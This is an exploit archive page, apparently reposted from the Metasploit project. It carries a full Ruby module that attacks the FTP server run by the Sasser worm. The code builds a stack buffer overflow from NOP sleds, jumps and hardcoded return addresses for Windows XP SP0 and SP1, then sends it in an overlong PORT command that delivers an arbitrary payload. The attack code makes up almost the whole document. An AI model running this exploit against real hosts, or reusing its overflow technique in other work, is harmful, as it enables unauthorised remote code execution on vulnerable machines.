what you don't know can hurt you

Sasser Worm avserve FTP PORT Buffer Overflow

Sasser Worm avserve FTP PORT Buffer Overflow
Posted Nov 26, 2009
Authored by patrick, Val Smith, chamuco | Site metasploit.com

This Metasploit module exploits the FTP server component of the Sasser worm. By sending an overly long PORT command the stack can be overwritten.

tags | exploit, worm
MD5 | d43c04ad521b75f49917fecff05e6333

Sasser Worm avserve FTP PORT Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Sasser Worm avserve FTP PORT Buffer Overflow',
'Description' => %q{
This module exploits the FTP server component of the Sasser worm.
By sending an overly long PORT command the stack can be overwritten.
},
'Author' => [ 'valsmith [at] metasploit.com>', 'chamuco [at] gmail.com>', 'patrick' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '6197'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Platform' => ['win'],
'Privileged' => false,
'Payload' =>
{
'Space' => 480,
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], #p/p/r ws2help.dll
[ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], #p/p/r
],
'DisclosureDate' => 'May 10 2004',
'DefaultTarget' => 1))

register_options(
[
Opt::RPORT(5554),
], self.class)
end

def exploit
connect

print_status("Trying target #{target.name}...")

sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target['Ret']].pack('V')
sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded + make_nops(1530)

send_cmd( ['PORT', sploit] , false)

handler
disconnect
end

end

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